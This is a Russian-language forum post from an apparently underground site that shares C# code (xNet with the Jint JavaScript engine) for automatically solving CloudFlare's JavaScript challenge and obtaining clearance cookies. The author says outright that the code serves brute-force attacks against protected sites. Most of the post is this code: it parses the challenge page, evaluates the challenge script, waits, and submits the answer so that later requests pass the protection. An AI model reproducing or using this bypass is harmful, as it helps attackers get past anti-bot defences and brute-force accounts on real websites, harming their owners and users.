Обход защиты CloudFlare C# xNet

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

TITLE

Участник

TITLE

Участник
22 Июл 2016
86
106
  1. Итак для реализации брутов на некоторые сайты с защитой от CloudFlare пришлось как-то разбираться с этим делом, решил поделиться опытом, так что нам понадобится:

    1. Прямые руки
    2. Visual Studio 2008-2015

    Итак, первым делом тыкаем правой кнопочкой на проекте, управление пакетами NuGet, ищем и устанавливаем Jint, интерпритатор Js для c#

    Ну а далее код:
Код:
using (var req = new xNet.HttpRequest())
            {
                var con = "";
                var JSEngine = new Jint.Engine();
                var uri = new Uri("Сайт.ру");

                try
                {
                    req.Cookies = new CookieDictionary();
                    req.UserAgent = Http.ChromeUserAgent();
                    //Делаем запрос к сайту с защитой CF, вероятнее всего он выдаст ошибку 503 и отправимся мы в блок Catch
                    con = req.Get("Сайт.ру").ToString();
                }
                catch (Exception)
                {
                    //В переменную Con заносим ответ от сайта и парсим нужную инфу
                    con = req.Response.ToString();
                    var challenge = Regex.Match(con, "name=\"jschl_vc\" value=\"(\\w+)\"").Groups[1].Value;
                    var challenge_pass = Regex.Match(con, "name=\"pass\" value=\"(.+?)\"").Groups[1].Value;

                    var builder = Regex.Match(con, @"setTimeout\(function\(\){\s+(var t,r,a,f.+?\r?\n[\s\S]+?a\.value =.+?)\r?\n").Groups[1].Value;
                    builder = Regex.Replace(builder, @"a\.value =(.+?) \+ .+?;", "$1");
                    builder = Regex.Replace(builder, @"\s{3,}[a-z](?: = |\.).+", "");
                    builder = Regex.Replace(builder, @"[\n\\']", "");

                    //Выполняем JS
                    long solved = long.Parse(JSEngine.Execute(builder).GetCompletionValue().ToObject().ToString());
                    solved += uri.Host.Length; //add the length of the domain to it.

                    //Ждем 3 сек, иначе CF пошлет нас к хуям
                    Thread.Sleep(3000);

                    //Генерируем запрос
                    string cookie_url = string.Format("{0}://{1}/cdn-cgi/l/chk_jschl", uri.Scheme, uri.Host);
                    var uri_builder = new UriBuilder(cookie_url);
                    var query = HttpUtility.ParseQueryString(uri_builder.Query);
                    query["jschl_vc"] = challenge;
                    query["pass"] = challenge_pass;
                    query["jschl_answer"] = solved.ToString();
                    uri_builder.Query = query.ToString();

                    req.AllowAutoRedirect = false;
                    req.Referer = "Сайт.ру";

                    //Отправляем запрос
                    con = req.Get(uri_builder.Uri).ToString();

                    //После данного запроса спокойно можем шакалить по сайту
                    //Конечно же с данным экземпляром класса

                }
 
  • Лайк
Reactions: Gegantar$

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя